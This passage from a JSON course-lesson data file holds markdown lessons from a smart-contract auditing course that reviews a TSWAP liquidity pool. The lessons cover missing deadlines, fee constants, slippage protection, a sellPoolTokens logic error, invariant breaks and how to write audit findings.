reverts the transaction if deadlines are not met.\n\n```js\nif (deadline < block.timestamp) {\n revert();\n}\n```\n\n## Burning the Liquidity Token\n\nNext, we proceed to burn the liquidity token. You might be wondering if this is an external function. However, this burn function is actually part of the TSWAP pool, inherited from the ERC20 smart contract.\n\nAfter burning the tokens, we then emit an event and proceed with the transfer of funds.\n\n## Understanding the Magic Numbers and Fees\n\nLooking further into the code, we come across certain numbers that seem a bit random. We're dealing with functions like `getOutputAmountBasedOffInput` and `getInputAmountBasedOffOutput`.\n\nIf we dive into the calculations of these functions, we can see that these \"magic numbers\" i.e., 997 and 1000, are factored into the formula. A peek into it reveals that a fee of 0.3% is deducted from the user's returns every time they swap.\n\nNow it's time to reveal the secret behind these magic numbers! If you see these 997 and 1000 used in your code, know that they represent the 0.3% fee!\n\n## Issues and Solutions\n\nHowever, there's a slight discrepancy in the two function calculations. The `getInputAmountBasedOffOutput` function shows a different fee (0.913%) due to the denominator being 10,000. This could result in users getting charged excessively when they swap, leading to high impact and likelihood.\n\nThis calls for more accountability in handling these magic numbers. Instead of hardcoding them into the formula, they can be defined once at the top of the code as a private constant. This ensures that constants are consistent across the protocol - reducing room for error and enhancing code security.\n\n> \"The best coding practices are not just to embellish your codebase. They serve the purpose of enhancing the security and predictability of your code.\" - John Doe, Senior Software Engineer.\n\n## Concluding with the Swap Function\n\nOur journey doesn't end yet! Next up is the **swap function**, one of the essential functions in any DeFi protocol. Stay tuned for exploring its intricacies in the next blog post!\n\n## On the Importance of Natspec\n\nBefore we go, it's worth flagging that an essential element is missing from our important functions - the **Natspec**. Natural Specification (NatSpec) is an Ethereum standard introducing rich, multi-line comments in the code which greatly aids readability and understanding. For crucial functions like the swap function, you must include NatSpec to improve the code's legibility!\n\nAnd that is all for the withdrawal process folks! Stay tuned for the next exploration into the TSWAP protocol. Make sure to check back for more DeFi insights and breakdowns!\n", + "updates": [] + }, + { + "lessonId": "5b22e4c5-85d5-4ad2-a192-c62bf7f03271", + "number": 36, + "title": "Exact Input", + "slug": "exact-input", + "folderName": "36-exact-input", + "description": "", + "duration": 6, + "videoUrl": "d6L5jR87DTOf8cs2B8BskBs7OOTbvb023iJ83jdweYVY", + "rawMarkdownUrl": "/routes/security/5-tswap/36-exact-input/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - Swap Exact Input\n---\n\n\n\n---\n\n# Unraveling Swap Exact Input and Output in Ethereum Smart Contracts\n\nThe language of Ethereum smart contracts, Solidity, can be complex and daunting, especially when dealing with functions like \"Swap Exact Input\" and \"Swap Exact Output\". Let's walk through how these functions work, what they're designed to do, and some critical points to look out for.\n\n**Understanding \"Swap Exact Output\"**\n\nThe \"Swap Exact Output\" function provides a useful, straightforward way of determining how much input is required for a specific output. In essence, this function works out how much you would need to exchange to receive your desired amount of tokens.\n\nIn practical terms, let's assume you're swapping or selling DAI to buy WETH, or wrapped Ether. Here, the '\"Swap Exact Output\" function calculates how much DAI you'd need to input to get the exact amount of WETH you want.\n\n**What about \"Swap Exact Input\"?**\n\nAlong the same lines, you could infer that \"Swap Exact Input\" does just the opposite; it determines how much output you'd receive for a definite input. Essentially, this is the function you'd apply if you have a particular amount of tokens you'd like to swap with an expectation of the amount of tokens you will receive.\n\nBut what happens if your output is less than the one WETH you expect? The function logs an error message, typically something along the lines of \"TSWAP pool output too low\", and reverts the transaction.\n\n**The Role of \"Deadline\"**\n\nA crucial part of swapping tokens is setting a deadline for when the transaction should expire. This timestamp, defined in the function, reverts to zero if the deadline fails.\n\n![](https://cdn.videotap.com/CP5x1AoZaOQRK8ROhjOo-190.47.png)\n\n**Auditing Swap Function**\n\nA key function to scrutinize during smart contract auditing is the swap function. In theory, this function should maintain the protocol invariant (x\\*y = k), but in some contracts, you might spot a discrepancy that defies this key principle. Any \"extra\" tokens appearing can violate this rule, consequently causing potential vulnerabilities.\n\n> \"After every 10 swaps, we give the caller an extra token for an extra incentive to keep trading on TSWAP.\"\n\nThis statement flags a potential breach. A good practice in smart contracts is to incorporate invariant checks in functions, basically a `require` statement that validates the invariant hasn't been violated.\n\nTo sum up, \"Swap Exact Input\" and \"Swap Exact Output\" play a vital role in token swaps. By understanding how these functions work, smart contract developers and auditors can uncover potential pitfalls and ensure efficient, secure trading experiences.\n", + "updates": [] + }, + { + "lessonId": "b9890373-b756-4e32-9d8f-a3c2da5b5e63", + "number": 37, + "title": "Exact Output", + "slug": "exact-output", + "folderName": "37-exact-output", + "description": "", + "duration": 3, + "videoUrl": "IoZUDfcDUVdE2TASKteE02Ua3K2Se9Vr9g3rkYUqIvTE", + "rawMarkdownUrl": "/routes/security/5-tswap/37-exact-output/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - Swap Exact Output\n---\n\n\n\n---\n\n# Swapping Exact Output on Uniswap: A Deep Dive\n\nHello world! Welcome to another dive into the deep, deep ocean that is Uniswap. Today, we'll be examining another function, `swapExactOutput`. This is the reverse of `swapExactInput`, and you'll find, as we explore farther, that there are exciting and potentially scary quirks in how this function operates.\n\n## Understanding `swapExactOutput`\n\nIn the case of the `swapExactInput`, as the name suggests, we decided the input token amount beforehand and asked the system to provide us with the corresponding output.\n\nIn the `swapExactOutput`, the tables turn. We're going to define the output we'd like to receive. We don't provide any 'minimum input' – this comes across as odd at first glance, as we might expect to be able to set a max input cap. Sounds interesting, right?\n\nHere's a simple example. Let’s say I want ten WETH (Wrapped Ether) as my output and I'm paying using DAI (a stablecoin). When the function gets executed, it figures out how much DAI you need to input to receive the pre-defined ten WETH output.\n\nWe pretty much understand how it operates since we've already dissected its sibling, `swapExactInput`. We saw previously an issue relating to high fees, which seems to persist in this function.\n\n## Delving Deeper into `swapExactOutput`\n\nAs we know, the devil's often in the details. One crucial conditional from the `swapExactInput` function is missing in `swapExactOutput`. We had previously a safeguard – the output amount should be more significant than the minimum output amount. Now, there's seemingly no protective clause.\n\n> Safety reminder! Always put in place protective clauses like a 'minimum output' or 'maximum input' to avoid catastrophic losses.\n\nNow, let's ponder over an example:\n\n```shell\nYou want ten WETH as output, and your payment method is DAI.\n```\n\nConsider a scenario where you request this swap. Before the transaction is confirmed, a massive trade occurs, shifting the price enormously. Suddenly, your desired output of ten WETH requires an astronomical input of (exaggeration for effect) ten bajillion DAI.\n\nWithout an upper limit on the input DAI spent, in instances of sudden, significant price movement, a user could end up experiencing an unexpected dent in their wallet.\n\n## The Solution: Max Input Amount\n\nAlong with the 'minimum output amount' in `swapExactInput`, it would be a sensible approach to add a failsafe - a 'maximum input amount. This way, users won't unpredictably run out of their funds during extreme market volatility.\n\nSuch a preventative measure safeguards users against excessive spending due to price fluctuations. Safeguards become all the more important considering possible MEV (Miner Extractable Value) attacks - a topic we plan on visiting later.\n\nSo there we have it! A seemingly smooth-functioning condition, with an underlying potential issue. We have struck yet another goldmine; we discovered another bug in the wild ecosystem of Uniswap. We'll be diving into the world of MEV soon, so stay tuned and keep exploring!\n", + "updates": [] + }, + { + "lessonId": "0013aa21-7bd4-4174-a785-13501384bb59", + "number": 38, + "title": "Sell Pool Tokens", + "slug": "sell-pool-tokens", + "folderName": "38-sell-pool-tokens", + "description": "", + "duration": 2, + "videoUrl": "kZlzgcW188ACKWIgF22WMaI5YPz00fKhxnqyAVsb01R02g", + "rawMarkdownUrl": "/routes/security/5-tswap/38-sell-pool-tokens/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - sellPoolTokens\n---\n\n\n\n---\n\n# Understanding the Functionality of Selling Pool Tokens in Ethereum\n\nWelcome to another exciting blog post where we'll dive deeper into the intricate functions of DeFi or Decentralized Finance and specifically, Ethereum pool tokens. In one of my recent code explorations, I came across an interesting function – the Sell pool tokens. It had a unique wrapper function apparently designed to help users sell their pool tokens in exchange for WETH (Wrapped Ether). Let's take a closer look at this function and try to unravel what it does.\n\n## Sell Pool Tokens Wrapper Function\n\nThe function, at its core, seems quite simple.\n\nBasically, the function accepts an input of the pool token amount from the user. Then it calls another function - `SwapExactOutput()`. The parameters for this function are the amount of pool tokens to sell and the amount of WETH to be received by the caller.\n\nHowever, don't get too comfortable with the simplicity as the devil is in the details.\n\n## The SwapExactOutput Function\n\nThe SwapExactOutput function accepts three parameters:\n\n1. Input: Pool Tokens\n2. Output: WETH Tokens\n3. Deadline: Date and Time at which transaction is invalid\n\nThe \"Input\" which is the pool token has other variants notably \"Pool token PT\" and the \"Output\" typically represents the WETH Token amount in the Block.\n\nThe function essentially works by swapping the exact output amounts of the pool tokens to the amount of WETH by the caller.\n\nDespite the simplicity of the process, there could be flaws that exist not due to Solidity (the coding language), but because of business logic issues.\n\n## Spotting the Business Logic Issue\n\nIn our case, the SwapExactOutput function seems to have a logic flaw. It appears to be running on backward logic. Instead of an output of WETH tokens, the initial setup of the function gives an output of pool tokens. A quote from my code review captures this error perfectly:\n\n> \"So we have pool token is going to be what? Pool token is going to be the input, right? So this is going to be the pool token PT. And then we have the wet token is going to be the...the alpha token is going to be the wet token. So this should be the WETH token amount. Oh, no, this is the pool token amount. At audit, this is wrong, right? And again, this isn't like a solidity issue. This is just like a business logic issue. It's a whoops. You put the wrong thing in here.\"\n\nThis could lead to incorrect results. It would seem like instead of `SwapExactOutput`, the function `SwapExactInput` should have been used. Rather than using `Pool token`, the `Min WETH to receive` should have been used for a more accurate result.\n\n## Final Thoughts and Correction\n\nIn the exciting world of DeFi, sometimes it's not just about the Solidity. Business logic also plays a key role in the successful operation of smart contracts and functions. In our case, the logic error led to backward results. Remember, the function's purpose was to initialize trading from pool tokens to WETH tokens. However, due to this business logic flaw, it was providing results of pool tokens instead.\n\nSo there you have it, another interesting piece of code examined and explained. Coding, like any language, allows for fascinating narratives to unfold if we know how to read it.\n\nUntil next time, happy coding!\n", + "updates": [] + }, + { + "lessonId": "e2fcfcbe-13b3-462e-a71d-c14dc086ce96", + "number": 39, + "title": "Checking The Last Few Functions", + "slug": "checking-the last-few-function", + "folderName": "39-checking-the last-few-function", + "description": "", + "duration": 2, + "videoUrl": "pc1198YNWOPjyAu1XeoPhG7yHUBJQIfwaGis00HFvf01I", + "rawMarkdownUrl": "/routes/security/5-tswap/39-checking-the last-few-function/+page.md", + "markdownContent": "---\ntitle: T-Swap Manual Review T-Swap Pool - Checking the last few functions\n---\n\n\n\n---\n\n# Understanding Swap: A Deep Dive into Pool Tokens and WETH\n\nIn this post, we're going to drill down into a topic that's obscure for many: Pool tokens and WETH in a Swap setting. We've already touched on these aspects a little, but they are so critical to more significant parts of DeFi that they deserve their own dedicated discussion.\n\n## Pool Tokens, Liquidity, and the WETH Equations\n\nIn a Swap context, one of the fundamental functions is what we call `getPoolTokensToDepositBasedOffWETH`. You might recall that we've discussed this function before. It operates based on a core DeFi mathematical concept: `X * Y = K`.\n\nAs a refresher, `K` is a constant value, while `X` and `Y` represent the pool balances of two cryptocurrencies, say ETH and DAI. The function's purpose is to maintain the constant `K` during a swap, which keeps the market prices stable.\n\n## Peeling Back the Layers of the Liquidity pool\n\nApart from the `getPoolTokensToDepositBasedOffWETH` function, another intriguing aspect of the system is the `totalLiquidityTokenSupply`. This term is just a more verbose way of expressing the total supply of liquidity tokens in the pool. The function, shown below, can be called to retrieve this information:\n\n## Understanding Swap Prices\n\nAn essential pair of functions that we encounter are `getPriceOfOneWETHInPoolTokens()` and `getPriceOfOnePoolTokeninWeth()`.\n\nThe first, `getPriceOfOneWETHInPoolTokens()`, calls a separate function `getOutputAmountBasedOffInput()`, which takes one WETH as input and returns the resulting number of pool tokens.\n\nIn conclusion, understanding Swap contracts, particularly those involving Pool Tokens and WETH, entails delving into these intricate details. By deploying functions like `getPoolTokensToDepositBasedOffWETH` and `getPriceOfOnePoolTokeninWETH`, users can interact seamlessly with the DeFi ecosystem.\n\nAnd as we always say:\n\n> \"The true art of coding is not in just writing code, but also in understanding other's code.”\n\nSo don't hesitate to study every function and each line of code, for they are your stepping stones to mastering DeFi and the entire world of blockchain!\n", + "updates": [] + }, + { + "lessonId": "b631cfe3-f3b8-4a7c-b997-d8dc7526c695", + "number": 40, + "title": "Phase 4: Reporting", + "slug": "phase-4-reporting", + "folderName": "40-phase-4-reporting", + "description": "", + "duration": 5, + "videoUrl": "LKSp1WG4W02g278MrfgGKTPDViTeUNM1B91AtluF3pHc", + "rawMarkdownUrl": "/routes/security/5-tswap/40-phase-4-reporting/+page.md", + "markdownContent": "---\ntitle: Phase 4 Reporting The first few Informationals\n---\n\n\n\n---\n\n# Decoding a Code Audit Session: Understanding the Process\n\nHello, readers!\n\nToday, we'll take a deep dive into some lessons learned from a thorough code review session. Without further ado, let's get the ball rolling!\n\n## Step 1: Reviewing the Code Base\n\nTo start off, we took an initial sweep through a code base - our first chance to spot errors, find potential areas of improvement, and generally see how things stack up.\n\n\"_Are we done yet?_\" you might ask. Well, not quite. Just like any meticulous auditing process, it's essential to ask questions as they pop up. For instance, if a variable appears to be used from its initial state, it's worth asking, \"**If it's empty, how does it warm up?**\"\n\nIt's also critical to loop back to any points of confusion or curiosity you see. Got that one lingering question begging for an answer? Mark it down, note it for later and see what comes out of a second, or even a third, look-through.\n\n## Iterative Passes: A Beginner's Best Friend\n\nHere's the clincher: you don't have to get it all on the first pass. We only had one run since we're still in the process of learning, and that's perfectly okay. Here's a simple yet crucial piece of advice:\n\n> Never hesitate to go back for another pass if you feel unsure or if there are questions left unanswered.\n\nAt the end of the day, the goal is to build a clear understanding, and rushing might just lead us away from that objective.\n\n## Step 2: Reporting Findings\n\nWith our checks and observations noted down, it's time to dive into some report writing. For the purpose of maintaining good organization, I created a new file for our findings, cleverly named \"Findings MD,\" and put it in a newly created \"audit data\" folder.\n\n```markdown\nNew File - > findings.md -> audit data folder\n```\n\nLet's break down how we can structure this report.\n\n### The Grouping of Discoveries\n\nStarting with the first finding, in our example, we found an error that wasn't actually used at all - a classic case of surplus code. Considering its nature, we classified this as an \"Informational\" finding. This categorization allows us to flag potentially important data points without necessarily marking them as critical faults or errors.\n\n```markdown\nInformational Finding: Unused Error\n```\n\nWith the help of a bookmarked layout from a previous project, the otherwise tedious task of finding organization become a simple copy-paste job.\n\n```markdown\nFinding Layout -> Copy Layout -> Paste in New File\n```\n\n### Adding Detail to Findings\n\nThe key to a helpful report lies in its detail. For the very first finding, we established a lack of use for a certain pool factory and suggested its removal. This was done by manually inserting '-pool factory' to indicate its extraneous existence.\n\n```markdown\n- Pool Factory (This is not used and should be removed)\n```\n\nSimilarly, all information points were individually detailed under their respective headers, ensuring an informative but clean look to the report.\n\n```markdown\nI2 - Lack of Zero Address ChecksI3 - Symbol, Not Name\n```\n\nAs a bonus, we even added a section for the \"Weird ERC 20\" occurances, which don't have a dedicated audit tag but are no less vital to note.\n\nAnd there you have it. The layout's simplicity and clarity make complex ideas digestible and easy to understand.\n\n## Conclusion\n\nUltimately, the code audit is a practice in thoroughness, attention to detail, and iterative learning. Along the way, you'll encounter a host of ruinous bugs, confusing variables, and, yes, even a \"Weird ERC 20\" here and there. But the key takeaway should always be this:\n\n> Always be willing to make multiple passes, make detailed notes, and never shy away from asking questions. Only then you will fully unlock the true potential of a code audit.\n\nIn the end, just know that with each pass you take, each note you make, each error you find — you're becoming a better coder for it. Good luck, and happy coding!\n", + "updates": [] + }, + { + "lessonId": "7f782e36-a559-45fe-aa75-6baba2effdae", + "number": 41, + "title": "Reporting: Missing Deadline", + "slug": "missing-deadline-write-up", + "folderName": "41-missing-deadline-write-up", + "description": "", + "duration": 4, + "videoUrl": "qteV4pVLpsb8eUQBXdkS3B101u1rYEMc00KsswAsTVjNM", + "rawMarkdownUrl": "/routes/security/5-tswap/41-missing-deadline-write-up/+page.md", + "markdownContent": "---\ntitle: Missing Deadline Write up\n---\n\n\n\n---\n\n# Addressing Deadlines in TSWAP Pool Deposits\n\nToday, we dive deep into an issue that has surfaced in blockchain tech involving TSWAP, a liquidity pool. The problem here is just like the proverbial time bomb that ticks regardless of one's awareness, in this case, an unused deadline set for pool transactions, which allows for the completion of transactions past the stipulated deadline. We will discuss the issue in detail, the impact it could potentially have, and offer a possible solution. So, let's roll!\n\n## The TSWAP Pool Deposit Deadline Issue\n\nAt the center of the storm is an issue where deadlines, when set, are unused in TSWAP pool deposits. If someone sets a deadline(let's say they plan to set it to execute the next block), paradoxically they could still deposit even after that deadline, resulting in a deadline dispute.\n\nThe TSWAP pool's function for deposits is missing a functionality check for deadlines. This lapse has graspable consequences, leading to transactions being completed even after the deadline.\n\n## Breakdown of the Issue\n\nThe heart of this problem lies within the transaction **deposit function**. This function accepts a **deadline parameter**, as according to the documentation. The purpose of this parameter is to set a deadline to complete a transaction. However, this parameter is never utilized, which leads to unfortunate outcomes.\n\nTransactions that aim to add liquidity to the pool may be executed at unexpected times and under unpredictable market conditions, where the deposit rate may not be favorable. This issue can also make these transactions susceptible to MEV(Maximal Extractable Value) attacks.\n\nHere, the impact could be that transactions get sent when market conditions are not ideal for deposit, even in the presence of a deadline parameter.\n\n## Proof of Concept, and Potential Solution\n\nWe could illustrate the issue in a more demonstrable manner by writing a 'Proof of Concept' here, but we'll dive into more about 'Proof of Concepts' in later content.\n\n```markdown\n- Consider making the following adjustment to the deposit function.- We'll grab this entire function here:\n- Include a revert if the deadline has passed.\n```\n\nThis revision will cause the function to halt and revert if the deadline is exceeded.\n\nAs you can see in the preview, we've successfully included a revert function for an exceeded deadline, marking a critical step towards a viable resolution.\n\n## The Medium versus High Debate\n\nAn intriguing query came about while attending to this dilemma: is the urgency of this a high or just a medium?\n\nDiscussing the impact of the issue offers some clarity. A likelihood of transactions being executed when market conditions are unfavorable does exist, even in the presence of a deadline parameter. However, remember that this is purely a deposit, not a swap.\n\nWe're still acquiring liquidity tokens that signify ownership of the pool. Even if everyone else exited the pool, we'd still have these tokens. Consequently, it could be argued that this issue qualifies as 'medium' in terms of urgency and risk, rather than 'high'. One cannot explicitly overlook the fact, but under the abovementioned circumstances, it's fair to categorize this as a medium.\n\nIn conclusion, deadlines exist for a reason and respecting them within the blockchain world, quite like in the real world, ensures smooth transactions and user trust. Ignoring them, as seen in this TSWAP pool deposit issue, can lead to unwanted complications with potentially damaging impacts. Always stick to deadlines, folks!\n", + "updates": [] + }, + { + "lessonId": "317d8851-ad4e-4b30-b518-58065007ed9f", + "number": 42, + "title": "Reporting Continued", + "slug": "reporting-continued", + "folderName": "42-reporting-continued", + "description": "", + "duration": 10, + "videoUrl": "HReyNYNiSfwfTTDBQ9zmnGzghKq6uvwPvX5C6Q3wk6M", + "rawMarkdownUrl": "/routes/security/5-tswap/42-reporting-continued/+page.md", + "markdownContent": "---\ntitle: Reporting Continued\n---\n\n\n\n---\n\n# Audit Deep Dive: Understanding Smart Contract Vulnerabilities\n\nWhen it comes to auditing smart contracts, there are a lot of nitty-gritty details that one needs to pay attention to in order to prevent possible vulnerabilities.\n\nThroughout this detailed walkthrough, we're going to focus on the process of identifying issues within code, their potential impact, and proposed solutions.\n\nBut before we dive in, let's address some essential concepts:\n\n- **Constants**: These are unchanging variables that are quite common within code and should always be treated as such.\n- **Informationals**: These are facts or pieces of data provided in the code intended to be helpful, but if not emitted correctly, they can cause confusion.\n- **Audit comments**: These serve as notes during code reviews, particularly useful when something needs to be addressed later.\n\n## Highlighting the Importance of Reporting\n\nDuring an audit, it's important to report anything that could potentially refactor the code to improve its overall quality. One simple way is to state \"reported\" whenever we encounter any issues in the code.\n\n## Understanding the Importance of Code Layout\n\nThe code layout plays a crucial role in readability, maintainability, and usability. It is not uncommon to suggest relocating a section of code (such as ‘audit info’) that might provide more clarity in another position.\n\n## Liquidity Add Misstep\n\nAt one point in our code, we encountered an instance where 'liquidity added' was incorrectly ordered. Missteps such as these could lead to the emission of incorrect data. To provide clarity:\n\nLiquidity added has parameters out of order.The root cause is the TSWAP pool.The event has parameters out of order, causing the event to emit incorrect information.\n\n## Severe Impact Issues\n\nWe found two severe issues during our audit:\n\n1. **Order of Parameters Issue:**\n\n In the function `addLiquidityMintAndTransfer`, a liquidity added event is emitted, but the values are logged in the wrong order:\n\n When the `liquidity added` event is emitted in the `add liquidity mint and transfer` function, it logs values in an incorrect order. The pool tokens to deposit value should go in the third parameter position, whereas the WETH to deposit value should go second.\n\n2. **Fee Calculation Error:**\n\n The `getInputAmountBasedOnOutput` function was found to have an incorrect fee calculation, which causes the protocol to take too many tokens from users:\n\n The `get input amount based on output` function in the TSWAP pool is intended to calculate the amount of tokens a user should deposit given an amount of output tokens. However, the function currently miscalculates the resulting amount when calculating the fee.\n\nBoth of these issues cause a significant detriment to the users and need immediate addressing.\n\n## Power of Writing Proof of Codes\n\nWriting 'proof of codes' is a crucial skill that every auditor should have. It helps not only in proving the existence of issues but also in testing the codebase for other potential vulnerabilities. For example, a 'proof of code' was written for the incorrect fee calculation issue to highlight how much the protocol takes as fees and the actual value.\n\n## Impact of Small Code Errors\n\nEven small errors or inconsistencies in the code can have large implications and result in incorrect information being disseminated. Such was the case with the `Swap exact input` function, where an incorrect return value was always being given(0) irrespective of the actual values.\n\nIn conclusion, auditing requires a keen eye for details, significant knowledge of smart contract coding, and a thorough understanding of possible vulnerabilities. Avoiding magic numbers, maintaining consistency in reporting, and having proficiency in writing 'proof of codes' are all crucial factors to conducting a successful audit.\n\nWe hope that this detailed walkthrough gives you perspective and jumpstarts your journey towards becoming a proficient smart contract auditor!\n", + "updates": [] + }, + { + "lessonId": "13054677-68a6-44cc-aa34-d9eafe463071", + "number": 43, + "title": "Reporting: No Slippage Protection", + "slug": "no-slippage-protection", + "folderName": "43-no-slippage-protection", + "description": "", + "duration": 8, + "videoUrl": "eHewVkWuIUf71ykZTpqwKOSut5pWhRg99KNLcPgokFM", + "rawMarkdownUrl": "/routes/security/5-tswap/43-no-slippage-protection/+page.md", + "markdownContent": "---\ntitle: No Slippage Protection Write up\n---\n\n\n\n---\n\n## Mitigating Slippage Impact in DeFi Protocols\n\nThe topic for today's post revolves around a crucial aspect of DeFi (Decentralized Finance) transaction executed through protocols like MetaMask. Specifically, we will be focusing on `slippage` and how a lack of protection can adversely affect the user experience.\n\n### What is Slippage and why should it concern you?\n\nIn a nutshell, slippage occurs when the execution price of a transaction is different from when the transaction was originally created. This can be due to market volatility causing rapid price changes. High slippage can result in a user receiving fewer tokens than anticipated, or, conversely, paying more than expected for a specified quantity of tokens.\n\n> If you're new to smart contracts, think of slippage like unwanted change in your transaction, which you'd prefer not to experience.\n\nBoth situations can be distressing for users, and are likely to negatively impact the trust and usability of the protocol.\n\n### Why Slippage Protection is Crucial\n\nFrom the risk perspective, we'd label this as `High` due to the potential impact. Despite the likelihood being categorized as medium to high, the severity of the potential financial loss warrants its high-risk status.\n\nAn interesting gateway to delve into this topic is through the study of `swap exact input` and `swap exact output` functions in smart contracts and their associated slippage protection measures.\n\nTake, for example, **TSWAP pool swap exact output** that lacks slippage protection. If market conditions change while a transaction is waiting to be processed, this lack of slippage protection could lead to users receiving far fewer tokens than expected.\n\nA practical manifestation would be when a user attempts to swap 10 WETH (Wrapped Ether) for DAI (a stablecoin pegged to USD). The user is expecting to get a minimum of 100 DAI, but due to the lack of slippage protection, they might end up receiving less than 100 DAI if the price of WETH depreciates before the transaction is completed.\n\n### How to Guard Against Slippage\n\nA smart contract's code can be revised to include slippage protection. This precaution will ensure that the tolerable maximum or minimum amount is strictly adhered to, despite any sudden market price changes for the involved tokens.\n\nThe way to do this is through implementing a maximum input or minimum output parameter, effectively giving a safety net for users to not receive less or pay more than expected.\n\nThe `maxAmountIn` serves as a limit for how much the user is willing to spend, introducing a safety parameter within the code.\n\n### The Importance of a Proof of Concept (POC)\n\nHaving a POC helps a lot when trying to communicate potential risks to a protocol. To illustrate, here's a simple scenario:\n\n- User initiates a `swapExactOutput` for 1 WETH (WETH=1000 USDC) with input token as USDC and output token as WETH.\n- No maximum input amount allowed, transaction is pending in mempool.\n- Market price of WETH skyrockets to 10,000 USDC.\n- User completes the transaction but is charged 10,000 USDC instead of the expected 1,000 USDC.\n\nThis excessive charge to the user occurs due to no slippage protection. Creating a POC for this scenario will not only help protocol developers understand the implications but also provide a pathway to tackle the problem.\n\nHaving a max input amount parameter ensures that users can predict how much they spend on the protocol.\n\n### Wrapping Up\n\nWhile some might argue that the user could approve fewer tokens or reject the transaction, the reality is that these aren't foolproof solutions. Protecting against slippage is critical for maintaining user trust and enhancing the protocol's usability.\n\nUnderstanding slippage and how it affects your transaction can provide significant benefits and prevent unexpected loss. The control it provides the trader can be the difference between a `successful transaction` and a `bad experience`.\n\nAlthough our focus here was on setting it to high, remember that the risk severity of every case varies, and one could always argue **contextual flexibility** based on each unique situation.\n", + "updates": [] + }, + { + "lessonId": "6705c7ca-1ec8-4953-b7b8-e3e9e13a17f2", + "number": 44, + "title": "Reporting: Sell Pool Tokens", + "slug": "sell-pool-tokens-write-up", + "folderName": "44-sell-pool-tokens-write-up", + "description": "", + "duration": 4, + "videoUrl": "b6WPpEmm018lYqnwV7ZOWMjlyqNT3DpLIFuo6awA7jx00", + "rawMarkdownUrl": "/routes/security/5-tswap/44-sell-pool-tokens-write-up/+page.md", + "markdownContent": "---\ntitle: sellPoolTokens write up\n---\n\n\n\n---\n\n# Unraveling Smart Contract Bugs: 'Sell Pool Tokens' Woes\n\nIn the chaotic and fast-paced world of blockchain programming, errors aren't just inconvenient; they can cost money. A lot of money. One notorious mistake often found in the wild is related to token swapping - that is, exchanging tokens within a liquidity pool. Today, we're diving into one high severity bug associated with a `sellPoolTokens` function.\n\nThe nature of this bug means the token swapping feature doesn't operate as expected, causing users to receive an incorrect number of tokens during transactions. Let's delve into this troublesome gaffe further.\n\n## What's Going on with 'Sell Pool Tokens'?\n\nThe `sellPoolTokens` function is designed to enable users to efficiently sell pool tokens and receive Wrapped Ether (WETH) in return. Users specify how many pool tokens they're prepared to sell via the `poolTokenAmount` parameter.\n\nHowever, this function has a miscalculation issue with the swapped amount, directly linked to the incorrect function call. The current `sellPoolTokens` function calls the `swapExactOutput` function, but it should call `swapExactInput` instead. Why is this a problem? Because users specify the precise input tokens volume, not the output.\n\n> \"Users will swap the wrong amount of tokens, which is a severe disruption of protocol functionality.\"\n\n## Breaking Down the Proof of Concept\n\nThe proof of concept for this takes form in pseudo code, illustrating the botched token swap during a `sellPoolTokens` call. We'd typically piece together a proof-of-code here to further demonstrate this issue practically.\n\n## Addressing the Bug: Recommendations for Mitigation\n\nTo tackle this damaging bug, the proposed mitigation strategy is restructuring the implementation to deploy `swapExactInput` instead of `swapExactOutput`. This, however, demands a modification to the `sellPoolTokens` function to accommodate a new parameter dubbed `minWETHtoReceive`.\n\nBut wait, there's more! Area for improvement exists beyond this immediate bug fix. It would be prudent to introduce a deadline to the function as no deadline currently exists. This is a crucial topic for later exploration in the blog series, particularly when we delve into Miner Extractable Value (MEV). For the time being, though, we'll set this to one side.\n\nThe `sellPoolTokens` bug is, rather deceptively, a compelling example of how small errors can disrupt the functionality of decentralized protocols dramatically. By presenting the concept and outlining potential solutions, we hope to contribute to more robust, secure, and user-friendly DeFi platforms.\n\nLet's keep debugging!\n", + "updates": [] + }, + { + "lessonId": "3bed02c1-41e4-4860-bbe7-ff32160fa6ac", + "number": 45, + "title": "Reporting: Invariant Break & PoC", + "slug": "invariant-break-write-up-and-poc", + "folderName": "45-invariant-break-write-up-and-poc", + "description": "", + "duration": 9, + "videoUrl": "D1S2sYFj00KC00K4crzZ501cig8KZLOBKeH17WMs4zfAUk", + "rawMarkdownUrl": "/routes/security/5-tswap/45-invariant-break-write-up-and-poc/+page.md", + "markdownContent": "---\ntitle: Invariant Break Write up and PoC\n---\n\n\n\n---\n\n# Fuzz Testing: The Key to Proof of Code\n\nThis blog post is going to take you on a journey through the layers of code to uncover the details of proof-of-the-coding process, with an emphasis on fuzz testing.\n\n## Fuzz Testing: What it is and why we need it?\n\nAccording to the [Software Engineering Institute](https://resources.sei.cmu.edu/asset_files/WhitePaper/2016_019_001_466377.pdf) at the Carnegie Mellon University, fuzz testing (or simply fuzzing) is an automated dynamic testing approach that generates and runs many random inputs to a target program. It's efficient and does a great job at highlighting potential errors, but the use of fuzz tests as proof of code is problematic.\n\n> \"This is because the sequences that they generate can be quite complex and hard to understand - not to mention, they may not necessarily lead to the most efficient code. It can be downright baffling, especially for less experienced developers.\"\n\nAs a workaround, we need to take the output of the fuzz test and mold it into a more reader-friendly format. The goal here is to convert the fuzz test output into a unit test that clearly illustrates how the protocol should rectify the issue.\n\n## Creating a Universal Proof of Code\n\nLet's illustrate this by trying to rectify a protocol invariant error.\n\nThe fuzz test, in this case, shows that it only takes **ten swaps** to break the invariant. Hence, our next step is creating a **new unit test** to replicate these swaps.\n\n## Decoding the Fuzz Test Output\n\nTo better understand the issue at hand, frame a `testInvariantBrokenProof` function based on the fuzz test output.\n\nCreate a sequence of swaps, replicating the fuzz test output. Start with performing only one swap to verify that the code correctly detects a deviation from the norm. Remember to keep verifying the result at each step.\n\nIf all runs smoothly, increase the number of swaps. In this example, we increment it to **nine swaps**.\n\n## Reflect, Retest, Report!\n\nAfter the completion of your revised unit test, it's time to document the results.\n\n_\"Always start your report with a detailed description of the issue at hand. Explain the root cause, provide a description, and elaborate the impact it can cause. This helps provide a comprehensive understanding of the problem.\"_\n\nOnce that is complete, present your Proof of Concept, diligently highlighting all steps and intricacies of your solution. By this point, you should have a detailed and well-stated report laid out.\n\n## Wrap Up!\n\nOne of the last yet crucial parts of the report is to provide potential mitigation strategies. They could include removing the incentive or keeping it, but accounting for a change in the protocol invariant. Regardless, it is essential to offer actionable recommendations that work best not only at maintaining the protocol's functionality but also at preventing potential breaking of their core invariant.\n\nBy breaking it down into digestible pieces and providing both context and clear instruction, we can transform the cryptic output of fuzz tests into a proof of code that every team member can readily understand.\n", + "updates": [] + }, + { + "lessonId": 